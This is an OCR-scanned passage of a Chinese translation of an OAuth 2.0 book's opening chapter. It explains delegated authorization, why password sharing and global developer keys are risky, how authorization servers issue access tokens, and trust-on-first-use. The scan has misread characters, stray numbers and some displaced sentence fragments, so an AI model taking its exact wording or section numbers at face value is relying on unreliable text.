虽然 OAuth 基本 上 不 关心 它 所 保护 的 资源 类 型 ， 但 它 确 实 很 适合 当今 的 RESTful Web 服务 ， 
也 适用 于 Web 应 用 和 原生 应 用 。 从 小 型 单 用 户 应 用 ， 到 有 数 百 万 用 户 的 互联 网 API， 它 都 适用 。 
在 受 控 的 企业 环境 中 , 它 能 对 新 一 代 内 部 业务 API 和 系统 访问 进行 管理 , 在 它 所 成 长 起 来 的 纷乱 
复杂 的 Web 环境 中 ， 它 也 能 游 才 有 余地 保护 各 种 面向 用 户 的 API。 

而 这 还 不 是 全 部 : 如 果 你 在 过 去 5 年 内 使 用 过 移动 应 用 或 者 Web 应 用 ， 很 可 能 已 经 使 用 过 
OAuth 来 授权 应 用 。 实 际 上 ， 不 管 有 没有 意识 到 ， 只 要 你 见 过 如 图 1-1 所 示 的 页 面 ， 那 就 使 用 过 
OAuth, 









































Approve this client? 
client id: oauth-client-1 


The client is requesting access to the following: 


* Bread 
* B write 
* © delete 





图 1-1 本 书 练习 框架 中 的 一 个 OAuth 授权 页 面 


在 一 般 情况 下 ，OAuth 协议 是 不 会 被 用 户 觉 察 到 的 ， 例 如 Steam 和 Spotify 的 桌面 应 用 。 除 
非 主动 地 去 探寻 OAuth 的 痕迹 ， 否 则 用 户 永 远 不 会 知道 他 使 用 了 OAuth。" 这 是 很 好 的 特性 ， 因 
为 优秀 的 安全 系统 在 一 切 功 能 都 正常 时 就 应 该 不 被 觉察 。 

众所周知 ,OAuth 是 一 个 安全 协议 ,但 是 它 到 底 有 什么 用 途 呢 9 既然 你 捧 起 了 一 本 关于 OAuth 
2.0 的 书 ， 那 么 问 这 个 问题 理所当然 。 协 议 规范 ”是 这 样 定 义 的 : 

OAuth 2.0 框架 能 让 第 三 方 应 用 以 有 限 的 权限 访问 HTTP 服务 ， 可 以 通过 构建 资源 
拥有 者 与 HTTP 服务 间 的 许可 交互 机 制 ， 让 第 三 方 应 用 代表 资源 拥有 者 访问 服务 , 或 者 
通过 授予 权限 给 第 三 方 应 用 ， 让 其 代表 自己 访问 服务 。 
































Er. 





Mz 


(D 好 消息 是 读 完 本 书 ， 你 可 以 自己 去 找 出 所 有 的 OAuth 使 用 
© RFC 6749: https://tools.ietf.org/html/rfc6749., 
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稍微 解释 一 下 : 作为 一 个 授权 框架 OAuth 关注 的 是 如 何 让 一 个 系统 组 件 获 取 对 男 一 个 系统 

组 件 的 访问 权限 。 在 OAuth 的 世界 中 ， 最 常见 的 情形 是 客户 端 应 用 代表 资源 拥有 者 〈 通常 是 最 

终 用 户 ) 访问 受 保护 资源 。 到 目前 为 止 ， 我 们 需要 关心 如 下 组 件 。 

a 资源 拥有 者 有 权 访 问 API， 并 能 将 API 访问 权限 委托 出 去 。 资 源 拥 有 者 一 般 是 能 使 用 浏 

览 器 的 人 。 因 此 ,本 书 在 插图 中 将 资源 拥有 者 表示 为 一 个 坐 在 浏览 器 前 的 人 。 

口 受 保护 资源 是 资源 拥有 者 有 权限 访问 的 组 件 。 这 样 的 组 件 有 多 种 形式 ， 但 大 多 数 情况 下 
是 某 种 形式 的 Web API。 虽 然 “ 资 源 ” 听 起 来 就 像 是 某 种 能 下 载 的 东西 ,但 其 实 这 些 API 
支持 读 、 写 和 其 他 操作 。 本 书 在 插图 中 将 受 保护 资源 表示 为 带 有 锁 图 标的 机 架 式 服 务 器 。 

口 客户 端 是 代表 资源 拥有 者 访问 受 保护 资源 的 软件 。 如果 你 是 Web 开发 人 员 ,“ 客 户 端 ” 这 
个 名 称 会 让 你 觉得 它 是 指 浏览 器 ， 但 它 在 本 书 中 并 不 是 这 个 意思 。 如 果 你 是 商业 应 用 开 
发 人 员 ， 可 能 以 为 “客户 端 ”是 指 付费 使 用 服务 的 客户 ,“ 但 这 也 不 是 它 的 正确 含义 。 在 
OAuth F, 只 要 软件 使 用 了 受 保护 资源 上 的 API, 它 就 是 客户 端 。 每 当 本 书 提 到 “客户 端 ” 
一 词 时 ， 几 乎 都 是 特 指 该 含义 。 本 书 搬 图 中 将 客户 端 绘制 成 带 有 齿轮 的 计算 机 屏幕 。 由 
于 实际 存在 的 客户 端 应 用 类 型 有 多 种 〈 如 第 6 章 所 述 )， 因 此 没有 一 个 图 标 能 普遍 适用 。 

第 2 章 将 更 深入 地 探讨 这 些 细节 。 但 现在 ,你 要 知道 整个 系统 的 目标 是 : 让 客户 端 为 资源 拥 

有 者 访问 受 保护 资源 ( 如 图 1-2 所 示 )。 




























































































目标 


授予 客户 端 代表 资源 拥有 
者 访问 受 保护 资源 的 权限 








受 保护 资源 





图 1-2 ”代表 资源 拥有 者 连接 客户 端 
在 照片 打印 的 例子 中 , 假设 你 将 度假 时 拍 的 照片 上 传 到 了 照片 存储 网 站 , 现在 想 要 将 它们 打 
印 出 来 。 照片 存储 网 站 的 API 就 是 资源 , 打印 服务 则 是 那个 API 的 客户 端 。 作 为 资源 拥有 者 ,你 
需要 将 一 部 分 权力 委托 给 照片 打印 服务 , 让 它 能 读 取 你 的 照片 。 但 你 可 能 不 想 让 打印 服务 读 取 所 























(D client 有 “客户 ”的 含义 。 一 译 者 注 
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有 的 照片 ,也 不 想 让 它 有 删除 或 者 上 传 照片 的 权限 。 总 之 ,你 的 目的 就 是 打印 你 指定 的 照片 。 如 
果 你 和 大 多 数 用 户 一 样 ， 那 么 可 能 并 不 会 去 思考 : 怎样 的 安全 架构 才能 实现 这 一 目标 。 

值得 庆幸 的 是 ， 由 于 你 正在 阅读 本 书 ， 因 此 应 该 和 大 多 数 用 户 不 一 样 ， 会 很 关注 安全 架构 。 
下 一 节 会 展示 在 不 使 用 OAuth 的 情况 下 ， 如 何以 不 那么 完美 的 方式 解决 这 个 问题 ， 然 后 再 展示 
如 何 使 用 OAuth 更 好 地 解决 这 个 问题 。 


1.2 黑暗 的 旧时 代 : 凭据 共享 与 凭据 盗用 


连接 多 个 不 同 的 服务 并 不 是 什么 新 鲜 事 ， 而 且 毫 无 疑问 ， 从 世上 出 现 网 络 互联 的 服务 开始 ， 
这 种 情况 就 存在 了 。 

企业 流行 的 做 法 是 ， 复 制 用 户 的 凭据 并 用 它 登录 另 一 个 服务 ( 如 图 1-3 所 示 )。 在 这 种 情况 
下 ,照片 打印 服务 要 假定 用 户 在 照片 存储 服务 上 使 用 的 凭据 与 在 照片 打印 服务 上 的 相同 。 当 用 户 
登录 照片 打印 服务 后 , 该 服务 使 用 用 户 的 用 户 名 和 密码 登录 照片 存储 网 站 , 获取 用 户 的 账户 访问 
权 ， 假 装 用 户 。 
























































复制 资源 拥有 者 的 凭据 ， 
并 用 它们 访问 受 保护 资源 





dene à 








客户 端 受 保护 资源 
图 1-3 不 征求 同意 就 复制 资源 拥有 者 的 凭据 


在 这 种 情况 下 , 用 户 需 要 使 用 某 种 凭据 与 客户 端 进 行 身份 认证 , 这 些 凭据 通常 是 被 集中 控制 
的 ,并 受 客 户 端 和 受 保护 资源 一 臻 认可。 客户 端 先 得 到 用 户 的 用 户 名 和 密码 或 者 会 话 cookie， 然 
后 用 它们 访问 受 保护 资源 , 假装 是 用 户 。 受 保护 资源 将 客户 端 视 为 用 户 并 直接 通过 身份 认证 ,而 
实际 上 与 受 保护 资源 建立 连接 的 是 客户 端 ， 正 如 前 面 所 要 求 的 那样 。 

这 种 方法 要 求 用 户 在 客户 端 和 受 保护 资源 端 使 用 相同 的 凭据 , 使 得 这 种 凭据 盗用 技术 只 能 在 
同一 安全 域内 使 用 。 也 就 是 说 ， 如 果 是 一 个 公司 控制 着 客户 端 、 授 权 服务 顺和 受 保护 资源 ,并且 
这 些 组 件 都 在 相同 的 策略 和 网 络 控制 下 运行 , 这 种 方法 才 行 得 通 。 如 果 打 印 服务 和 存储 服务 是 由 
同一 个 公司 提供 的 ， 就 能 采用 这 种 方法 ， 因 为 用 户 可 以 在 两 个 服务 上 使 用 相同 的 账户 凭据 。 
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这 一 技术 还 会 将 用 户 的 密码 暴露 给 客户 端 应 用 , 即使 在 单一 安全 域 中 使 用 同一 组 凭据 , 这 也 
基本 上 无 法 避免 。 但 无 论 如 何 ， 客 户 端 是 在 扮演 用 户 ， 受 保护 资源 无 法 区 分 资源 拥有 者 和 扮演 资 
源 拥有 者 的 客户 端 ， 因 为 二 者 都 以 同样 的 方式 使 用 相同 的 用 户 名 和 密码 。 

但 是 ,如 果 两 个 服务 位 于 不 同 的 安全 域 中 , 如 照片 打印 例子 中 的 情况 ， 又 会 怎样 呢 ? 不 能 
复制 用 户 提 供 的 用 于 登录 当前 应 用 的 密码 了 ,因为 这 个 密码 对 于 男 一 个 应 用 来 说 是 无 效 的 。 对 于 
这 个 问题 ， 可 以 采取 一 种 老 套 的 手段 来 获取 密码 : 向 用 户 索要 ( 如 图 1-4 所 示 )。 









































资源 拥有 者 向 资源 拥有 者 索要 凭据 ， 
并 用 它们 访问 受 保护 资源 








客户 端 受 保护 资源 
图 1-4 向 资源 拥有 者 索要 凭据 并 用 于 访问 受 保护 资源 


如 果 打 印 服务 想 要 获取 用 户 的 照片 ， 它 可 以 提示 用 户 输入 其 照片 存储 网 站 上 的 用 户 名 和 密 
码 。 然 后 就 像 前 面 那样 ， 打 印 服 务 用 这 些 凭据 访问 受 保护 资源 ,扮演 用 户 。 在 这 种 情况 下 ， 用 户 
用 于 登录 客户 端的 凭据 和 用 于 访问 受 保护 资源 的 凭据 可 以 不 同 。 不 管 怎 么 说 , 客户 端 通过 向 用 户 
索要 用 于 访问 受 保护 资源 的 用 户 名 和 密码 , 解决 了 这 个 问题 。 很 多 用 户 在 实际 中 会 允许 这 样 的 要 
R, 特别 是 当 使 用 受 保护 资源 的 是 一 个 很 有 用 的 服务 时 。 因 此 ,这 仍然 是 当前 移动 应 用 通过 用 户 
账户 访问 后 端 服务 的 最 常用 方法 之 一 : 移动 应 用 让 用 户 输入 用 户 名 和 密码 , 然后 直接 将 这 些 凭据 
通过 网 络 发 送 给 后 端 API。 为 了 可 以 持续 访问 API， 客 户 端 应 用 会 保存 用 户 的 凭据 ， 以 便 在 必要 
的 时 候 用 于 访问 受 保 护 资源 。 这 种 做 法 极其 危险 , 因为 一 旦 任何 一 个 正在 使 用 中 的 客户 端 被 攻破 ， 
就 意味 着 该 用 户 在 所 有 系统 中 的 账户 都 被 攻破 。 

在 极 少数 场景 下 ,这 种 方法 还 是 可 行 的 : 客户 端 需要 直接 获得 用 户 的 凭据 ,并且 能 在 用 户 不 
在 场 的 情况 下 将 这 些 凭据 用 于 服务 。 这 排除 了 多 种 用 户 登 录 方式 ， 包 括 儿 乎 所 有 联合 登录 系统 、 
很 多 多 因素 身份 认证 登录 系统 ， 以 及 大 多 数 高 安全 等 级 的 登录 系统 。 



























































LDAP 身份 认证 
有 趣 的 是 ， 这 恰恰 就 是 LDAP (lightweight directory access protocol， 轻 型 目录 访问 协议 ) 
这 样 的 密码 身份 认证 技术 使 用 的 模式 。 在 使 用 LDAP 进 行 身 份 认证 的 时 候 , 客户 端 应 用 直接 从 
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用 户 那 里 获取 凭据 , 然后 通过 LDAP 服务 器 检验 它们 是 否 有 效 。 客户 端 系统 在 这 个 处 理 过 程 中 TN 
必须 得 到 用 户 的 明文 密码 ,否则 无 法 向 LDAP 服务 器 验证 密码 的 正确 性 。 从 本 质 上 来 说 , 这 就 


是 针对 用 户 的 中 间 人 攻击 ， 虽 然 通常 是 善意 的 。 

















只 要 采用 这 种 方法 ,就 会 将 用 户 最 重要 的 凭据 暴露 给 可 能 并 不 可 信 的 应 用 一 一 客户 端 ,为 了 

















能 一 直 充 当 用 户 ， 客 户 端 就 不 得 不 以 一 种 可 重 现 的 形式 ( 通常 是 明文 或 者 某 种 可 逆 的 加 密 机 制 ) 





存储 用 户 的 密码 , 用 于 后 续 访问 受 保护 资源 。 如 果 客 户 端 应 























还 能 访问 受 保护 资源 以 及 用 户 使 用 的 其 他 具有 相同 密码 的 服务 。 


而 且 , 在 以 上 的 这 些 方 法 中 , 客户 端 应 用 充当 资源 拥有 者 ， 受 保护 资源 无 法 分 辨 某 个 调用 是 











用 被 攻破 , 攻击 者 不 仅 能 访问 客户 端 ， 

















由 资源 拥有 者 直接 发 起 的 ， 还 是 由 客户 端 代 发 的 。 这 有 何不 妥 呢 ? 再 回去 看 看 打印 服务 的 例子 。 
在 少数 情况 下 ,大 多 数 方法 都 可 行 , 但 考虑 一 下 这 种 情形 : 你 不 希望 打印 服务 能 向 存储 服务 中 上 


传 照片 或 删除 其 中 的 照片 , 而 只 能 读 取 你 要 打印 的 照片 , 还 希望 它 


片 ， 并 能 随时 解除 其 访问 权限 。 




















只 能 在 需要 打印 的 时 候 读 取 照 























如 果 打 印 服务 需要 以 你 的 身份 访问 照片 , 存储 服务 将 无 法 辨别 请 求 的 发 起 者 是 你 还 是 打印 服 
务 。 如 有 果 打 印 服 务 在 背地 里 偷偷 将 你 的 密码 保存 下 来 (虽然 它 保 证 过 不 会 这 样 做 )， 那 它 就 可 以 


随时 冒充 你 并 窃取 你 的 照片 。 阻止 这 一 流 谍 行 为 的 唯 
的 密码 失效 。 更 糟糕 的 是 , 很 多 用 户 痢 









































方法 就 是 修改 密码 , 让 打印 服务 之 前 保存 





喜欢 在 不 同系 统 中 使 用 相同 的 密码 , 这 可 能 导致 所 有 关联 


账户 都 受到 牵连 。 坦 率 地 说 ， 为 了 解决 多 个 服务 连接 的 问题 ， 我 们 引发 了 更 严重 的 问题 。 

现在 你 已 经 看 到 , 复制 用 户 密 码 并 不 是 一 个 好 方法 。 如 果 授 予 打印 服务 全 局 的 访问 权限 , 使 
它 能 代表 由 它 指定 的 任何 用 户 并 访问 存储 服务 上 的 所 有 照片 , 又 会 是 怎样 的 情况 呢 ? 常用 的 方式 
是 为 客户 端 颁发 一 个 开发 者 密 钥 (如 图 1-5 所 示 )， 让 客户 端 使 用 该 密 钥 直接 调用 受 保护 资源 。 
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资源 拥有 者 





图 1-5 使 






































一 把 万 能 钥匙 ， 能 够 访问 所 
有 用 户 的 数据 

















j 全 局 的 开发 者 密 钥 ， 确 定 你 宣称 代表 的 











受 保护 资源 
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在 这 种 方法 中 , 开发 者 密 钥 是 一 种 全 局 的 密 钥 , 客户 端 可 以 用 它 来 充当 任意 一 个 由 其 指定 的 
用 户 , 用 户 的 指定 很 可 能 通过 一 个 API 参数 来 完成 。 这 样 做 的 好 处 是 避免 了 向 客户 端 暴 露 用 户 凭 
据 , 但 代价 是 要 向 客户 端 提供 功能 强大 的 开发 者 密 钥 。 有 了 这 种 密 钥 ， 打 印 服务 随时 都 能 任意 地 
打印 所 有 用 户 的 所 有 照片 , 因为 它 实 际 上 拥有 了 自由 访问 受 保护 资源 的 权力 。 这 在 一 定 程 度 上 是 
可 行 的 , 但 前 提 是 受 保护 资源 要 充分 了 解 并 信任 客户 端 。 但 是 这 样 的 关系 几乎 不 可 能 存在 于 两 个 
组 织 之 间 ,， 例 如 照片 打印 例子 中 的 两 个 服务 。 此 外 ， 如 果 客 户 端的 密 钥 被 盗 , 将 对 受 保 护 资源 造 
成 灾难 性 的 损害 ， 因 为 存储 服务 的 所 有 用 户 都 会 受到 影响 ， 无 论 他 们 是 否 使 用 打印 服务 。 

还 有 一 个 方法 是 给 用 户 一 个 特殊 的 密码 ( 如 图 1-6 所 示 )， 此 密码 仅 用 于 透露 给 第 三 方 服务 。 
用 户 自己 不 会 使 用 这 个 密码 来 登录 , 只 是 将 它 粘贴 到 所 使 用 的 第 三 方 应 用 里 。 这 听 起 来 很 像 本 章 
最 开始 提 到 的 那 种 功能 有 限 的 泊 车 钥匙 。 

























































A 


资源 拥有 者 | 仅 用 于 访问 本 受 保护 次 


源 的 专用 密码 ( 令 牌 ) 
客户 端 受 保护 资源 
图 1-6 针对 具体 服务 且 访 问 受 限 的 密码 


现在 , 距离 理想 的 系统 又 近 了 一 步 ， 因 为 用 户 不 再 需要 向 客户 端 透露 登录 密码 ， 受 保护 资源 
也 不 再 需要 相信 客户 端 时 刻 都 能 代表 所 有 用 户 执行 正确 的 操作 。 但 是 ,这 种 系统 的 可 用 性 并 不 好 。 
它 要 求 用 户 除了 管理 自己 的 主 密码 之 外 , 还 要 创建 、 分 发 和 管理 特殊 的 凭据 。 因 为 需要 用 户 来 管 
理 这 些 凭 据 , 所 以 一 般 来 说 ， 客 户 端 与 凭据 本 身 并 没有 对 应 关系 。 这 使 得 撤销 某 个 具体 应 用 的 访 
问 权 限 变 得 很 困难 。 










































































还 有 更 好 的 办 法 吗 ? 
如 果 能 为 每 个 客户 端 和 每 个 用 户 的 组 合 分 别 颁发 这 种 对 受 保护 资源 具有 受 限 访问 权限 的 凭 


据 ,会 怎样 ? 如 此 一 来 ,就 可 以 将 受 限 访问 权限 分 别 与 这 些 受 限 的 凭据 做 定 。 更 进一步 ， 如 果 有 
一 个 基于 网 络 的 协议 ,能 够 部 署 到 整个 互联 网 上 , 跨 安全 边界 地 生成 并 安全 分 发 这 些 受 限 的 任 据 ， 
同时 具有 良好 的 用 户 体验 ， 又 会 怎样 ? 接 下 来 就 开始 讨论 这 一 有 趣 的 话题 了 。 
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1.3 ”授权 访问 EN 


OAuth 协议 的 设计 目的 是 :让 最 终 用 户 通过 OAuth 将 他 们 在 受 保护 资源 上 的 部 分 权限 委托 给 
客户 端 应 用 , 使 客户 端 应 用 代表 他 们 执行 操作 。 为 实现 这 一 点 ，OAuth 在 系统 中 引入 了 另外 一 个 
组 件 : 授权 服务 器 〈 如 图 1-7 所 示 )。 
































授权 服务 器 提供 了 一 种 机 制 


TENE 来 弥补 客户 端 与 受 保护 资源 
之 间 的 间隙 





客户 端 受 保护 资源 
图 1-7. OAuth 授权 服务 器 自动 发 送 服务 专用 的 密码 


受 保护 资源 依赖 授权 服务 器 向 客户 端 颁 发 专用 的 安全 凭据 一 一 OAuth 访问 令 牌 。 为 了 获取 令 
RR. 客户 端 首先 将 资源 拥有 者 引导 至 授权 服务 器 ,请 求 资源 拥有 者 为 其 授权 。 授 权 服 务 器 先 对 资 
源 拥 有 者 进行 身份 认证 ,然后 一 般 会 让 资源 拥有 者 选择 是 否 对 客户 端 授权 。 客 户 端 可 以 请 求 授 权 
功能 或 权限 范围 的 子 集 , 该 子 集 可 能 会 被 资源 拥有 者 进一步 缩小 。 一 旦 授权 请 求 被 许可 ,客户 端 
就 可 以 向 授权 服务 器 请 求 访问 令 牌 。 按照 资 源 拥有 者 的 许可 , 客户 端 可 以 使 用 该 令 牌 对 受 保护 资 
源 上 的 API 进行 访问 ( 如 图 1-8 所 示 )。 

在 这 个 过 程 中 , 没有 将 资源 拥有 者 的 凭据 暴露 给 客户 端 : 资源 拥有 者 向 授权 服务 器 进行 身份 
认证 的 过 程 中 所 用 的 信息 是 独立 于 客户 端 交 互 的 。 客户 端 没 有 功能 强大 的 开发 者 密 钥 , 无 法 随意 
访问 任何 资源 ， 而 是 必须 在 得 到 有 效 的 资源 拥有 者 授权 之 后 才能 访问 受 保护 资源 。 虽 然 大 多 数 
OAuth 客户 端 可 以 向 授权 服务 器 进行 身份 认证 ， 但 仍然 需要 得 到 授权 后 才能 访问 资源 。 

用 户 通常 不 必 查 看 或 者 直接 处 理 访问 令 牌 。OAuth 不 需要 由 用 户 生成 令 牌 并 粘贴 到 客户 端 ， 
而 是 简化 了 这 一 过 程 : 客户 端 请 求 令 牌 , 用 户 对 客户 端 授权 。 然 后 由 客户 端 管理 令 牌 ,用户 管 理 
客户 端 应 用 。 
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客户 端 





授权 服务 器 受 保护 资源 





客户 端 请 求 授 权 


资源 拥有 者 许可 授权 


客户 端 发 送 授权 许可 


授权 服务 器 发 送 访问 令 牌 
客户 端 发 送 访问 令 牌 






受 保护 资源 发 送 资 源 


图 1-8 完整 的 OAuth 工作 过 程 





以 上 是 对 OAuth 工作 原理 的 一 般 性 概述 ， 但 实际 上 OAuth 拥有 多 种 获取 访问 令 牌 的 方法 。 
第 2 章 将 介绍 OAuth 2.0 的 授权 码 许可 类 型 ， 详 细 讨论 其 工作 过 程 。 其 他 获取 令 牌 的 方法 将 在 第 


6 章 介绍 。 





1.3.1 超越 HTTP 基本 认证 协议 和 密码 共享 反 模 式 


上 一 节 中 列 出 的 许多 “传统 ”方法 都 是 密码 反 模 式 的 案例 ， 它 们 通过 共享 机 密 信息 ( 密码 ) 
来 直接 代表 当 事 方 (用户 )。 用 户 通 过 与 应 用 共享 密码 ， 使 应 用 能 够 访问 受 保护 的 API。 然 而 ， 
正如 我 们 已 经 揭示 的 那样 ， 这 种 做 法 在 现实 中 存在 很 多 问题 。 密 码 本 身 可 能 被 盗 或 者 被 猜 到 ; 同 
一 个 用 户 可 能 在 不 同 的 服务 上 使 用 完全 相同 的 密码 ; 为 了 以 后 能 继续 访问 API 而 保存 密码 会 使 得 
密码 更 易 被 盗 。 

HTTP API 最 开始 是 如 何 引 入 密码 保护 功能 的 呢 ? 我 们 可 以 从 HTTP 协议 的 历史 及 其 安全 手 
段 看 出 端倪 。HTTP 协议 制定 了 一 个 机 制 ， 用 户 可 以 凭借 该 机 制 在 浏览 器 中 使 用 用 户 名 和 密码 向 
一 个 网 页 进行 身份 认证 ， 这 就 是 所 谓 的 HTTP 基本 认证 协议 (HTTP basic auth )。 还 有 一 种 更 安 
全 的 认证 协议 ， 叫 作 HTTP 摘要 认证 (HTTP digest auth )。 但 是 就 我 们 的 目的 来 说 ， 它 们 没有 什 
么 区 别 ， 因 为 它们 都 假设 用 户 在 场 ， 并 日 要 求 向 HTTP 服务 器 呈 递 用 户 的 用 户 名 和 密码 。 此 外 ， 
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由 于 HTTP 是 一 个 无 状态 的 协议 ， 因 此 每 一 个 HTTP 事务 都 要 呈 递 这 些 凭据 。 

鉴于 HTTP 原本 是 一 个 文档 访问 协议 ， 这 一 切 都 是 合理 的 。 但 是 Web 的 规模 和 应 用 范围 自 
那 以 后 已 显著 扩大 。 作 为 一 个 协议 ，HTTP 不 会 区 分 一 个 事务 是 由 用 户 通过 浏览 需 发 起 的 ， 还 是 
通过 其 他 软件 发 起 的 。 这 种 基本 的 灵活 性 是 HTTP 协议 得 到 普及 的 关键 原因 。 但 结果 是 ,除了 面 
向 用 户 的 ( 网 页 ) 服务 之 外 ， 当 HTTP 开始 被 用 于 直接 访问 API 时 ， 其 现 有 的 安全 机 制 顺 理 成 章 
地 被 沿用 到 新 的 应 用 场景 中 。 这 个 不 明智 的 技术 决策 导致 了 一 种 长 期 存在 的 错误 做 法 : 为 API 
和 网 页 服务 不 断 地 呈 弟 密码 。 虽然 浏览 器 可 以 使 用 cookie 或 者 其 他 会 话 管 理 技术 , 但 是 访问 Web 
API 的 HTTP 客户 端 没 有 这 样 的 机 制 可 用 。 

OAuth 从 一 开始 就 被 设计 成 一 个 用 于 API 的 协议 , 其 中 主要 的 交互 过 程 都 是 在 浏览 器 之 外 进 
1183, OAuth 的 整个 流程 通常 是 由 最 终 用 户 在 浏览 器 中 启动 的 , 实际 上 这 也 正 是 委托 模式 的 灵活 
性 和 优势 所 在 ,但 是 最 终 接收 令 牌 、 使 用 令 牌 访问 受 保护 资源 的 步 又 对 用 户 是 不 可 见 的 。 实际 上 ， 
OAuth 的 一 些 主要 事务 过 程 都 发 生 在 用 户 不 在 场 的 情况 下 ， 客 户 端 仍然 能 够 代表 用 户 执行 操作 。 
OAuth 让 我 们 握 弃 HTTP 基本 协议 中 的 观念 和 假设 ， 将 一 种 功能 强大 、 安 全 的 方式 引入 现今 的 
API 体 系 。 


1.8.0 ”授权 委托 : 重要 性 及 应 用 


委托 概念 是 OAuth 强大 功能 的 根基 。 虽 然 OAuth 经 常 被 称 作 授权 协议 (这 是 RFC 中 给 出 的 
名 称 )， 但 它 也 是 一 个 委托 协议 。 通 常 ， 被 委托 的 是 用 户 权限 的 子 集 ， 但 是 OAuth 本 身 并 不 承载 
或 者 传递 权限 。 相 反 , 它 提 供 了 一 种 方法 , 让 客户 端 可 以 请 求 用 户 将 部 分 权限 委托 给 自己 。 然 后 ， 
用 户 可 以 批准 这 个 委托 请 求 。 被 批准 之 后 ， 客 户 端 就 可 以 去 执行 那些 操作 了 。 

以 照片 打印 为 例 ， 照 片 打印 服务 可 以 询问 用 户 :“ 你 是 否 在 这 个 存储 服务 上 存放 了 照片 ? 如 
果 是 , 我 可 以 帮 你 将 它们 打印 出 来 ”然后 用 户 被 引导 至 照片 存储 服务 ， 存储 服务 也 会 询问 :“ 打 
印 服务 想 要 获取 你 的 照片 ,你 同意 吗 ?” 用 户 可 以 决定 是 否 同意 ， 即 决定 是 否 将 访问 权限 委托 给 
打印 服务 。 

在 这 里 ， 委 托 协议 和 授权 协议 的 区 别 是 很 重要 的 ， 因 为 OAuth 令 牌 中 携带 的 授权 信息 对 系 
统 中 的 大 部 分 组 件 是 不 透明 的 。 只 有 受 保护 资源 需要 了 解 授权 信息 ， 只 要 它 能 从 令 牌 中 得 知 授权 
言 息 C 既 可 以 直接 从 令 牌 中 获取 , 也 可 以 通过 某 种 服务 来 获取 ), 它 就 可 以 按 要 求 提供 API 服 务 。 

























































































































































































































































































连接 到 网 络 世 界 
OAuth 中 的 许多 概念 并 不 新 颖 ,其 至 是 从 先前 的 安全 体系 中 借鉴 而 来 的 。 然 而, OAuth 2.0 
是 一 个 为 Web API 世 界 而 生 的 协议 ,访问 这 些 API 的 是 客户 端 软件 。OAuth 2.0 框架 提供 了 一 
系列 用 于 连接 这 些 应 用 软件 和 API 的 工具 , 适用 于 各 式 各 样 的 场景 。 在 后 面 的 章节 中 ,你 将 会 
看 到 ， 同 样 的 核心 概念 和 协议 可 用 于 连接 网 页 应 用 、Web 服务 、 原 生 和 移动 应 用 ， 甚 至 物 联网 
中 的 小 型 设备 (使 用 扩展 协议 )。 纵 观 这 一 切 ，OAnuth 依赖 一 个 相互 连接 的 网 络 世 界 ， 并 使 得 
在 此 基础 上 构建 新 生 事物 成 为 可 能 。 
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13.3 ”用 户主 导 的 安全 与 用 户 的 选择 


由 于 OAuth 的 委托 过 程 需要 资源 拥有 者 的 参与 ， 因 此 它 提 供 了 一 种 在 很 多 其 他 安全 模型 中 
不 存在 的 可 能 性 : 重要 的 安全 决策 可 以 由 最 终 用 户 来 做 , 传统 上 , 安全 决策 一 直 由 集权 机 构 负责 。 
由 集权 机 构 决定 谁 可 以 使 用 服务 、 使 用 什么 客户 端 以 及 以 何 种 目的 使 用 。OAuth 则 允许 集权 机 构 
将 某 些 决 策 权 交 到 最 终 使 用 软件 的 用 户 手 中 。 

OAuth 系统 常 遵 循 TOFU 原则 : 首次 使 用 时 信任 (truston firstuse )。 在 TOFU 模型 中 ,需要 
用 户 在 第 一 次 运行 时 进行 安全 决策 , 而 且 并 不 为 安全 决策 预 设 任何 先决 条 件 或 者 配置 , 仅 提示 用 
户 做 出 决策 。 这 个 过 程 可 以 简单 到 只 是 询问 用 户 “ 要 连接 到 新 的 应 用 吗 ”。 当 然 ， 很 多 实现 允许 
在 这 个 步骤 中 进行 更 多 控制 。 无 论 用 户 遇 到 的 是 哪 种 情况 ， 只 要 具有 相应 的 权限 ， 他 们 就 能 做 出 
安全 决策 。 系 统 会 记 住 用 户 的 决策 ,以 便 以 后 使 用 。 换 名 话说 ， 只 要 首次 建立 了 授权 关系 ， 系 统 
就 会 在 后 续 的 处 理 过 程 中 继续 信任 用 户 的 决策 : 首次 使 用 时 信任 。 



















































































TOFU 是 强制 要 求 吗 ? 
OAuth 实现 并 不 强制 要 求 采 用 TOFU 方法 管理 安全 决策 ， 但 是 这 两 种 技术 经 常 结合 使 用 。 
这 是 为 什么 呢 ? 因为 要 求 用 户 在 一 个 上 正文 环境 中 做 出 安全 决策 具有 很 强 的 灵活 性 ,而 不 断 地 
要 求 用 户 做 决策 会 让 人 疲倦 ，TOFU 方法 在 这 两 者 间 实 现 了 良好 的 平衡 。 如 果 从 TOFU 中 去 掉 
“信任 ”的 部 分 ， 委 托 就 无 从 恋 起 。 如 果 去 掉 “ 首 次 使 用 ”的 部 分 ， 则 用 户 将 会 很 快 因 无 休止 
的 访问 请 求 变 得 麻木 。 这 种 由 安全 系统 造成 的 疲劳 感 会 引起 工作 懈 急 , 这 比 安全 系统 原本 要 解 
决 的 安全 问题 更 危险 。 
































这 种 方法 还 可 以 让 用 户 从 功能 而 不 是 安全 性 的 角度 做 出 决策 :“ 是 否 允 许 此 客户 端 执行 它 请 
求 的 操作 ? ”这 是 与 传统 安全 模型 的 一 个 重要 区 别 。 在 传统 安全 模型 中 , 决策 者 需要 提前 限定 哪 
些 行为 是 不 允许 的 。 而 这 样 的 安全 决策 通常 会 令 普通 用 户 不 知 所 措 。 无 论 如 何 ,用户 更 关心 的 是 
他 们 想 要 完成 哪些 事情 ， 而 不 是 试图 阻止 哪些 事情 。 

但 这 并 不 是 说 TOFU 必须 用 于 所 有 的 事务 或 决策 。 Scb E, 安全 架构 师 可 以 采用 3 层 名 单机 
制 (如 图 1-9 所 示 )， 它 具有 很 强 的 灵活 性 。 

由 白 名 单 确定 已 知 的 良好 和 受信 任 的 应 用 , 由 黑 名 单 确定 已 知 的 不 良 应 用 或 者 其 他 糟糕 的 参 
与 者 。 这 些 决策 很 容易 根据 系统 策略 做 出 ， 而 不 需要 最 终 用 户 参 与 。 

在 传统 的 安全 模型 中 , 讨论 到 这 里 就 结束 了 , 因为 任何 不 在 白 名 单 里 的 内 容 会 默认 自动 归 人 
黑 名 单 。 然 而 ， 如 果 用 上 TOFU 方 法 ,就 可 以 在 上 述 的 两 个 名 单 中 间 增 加 一 个 灰 名 单 ， 在 这 个 名 
单 中 ， 会 优先 考虑 用 户 在 运行 时 做 出 的 信任 决策 。 会 有 一 定 的 策略 来 记录 和 审查 这 些 用 户 决策 ， 
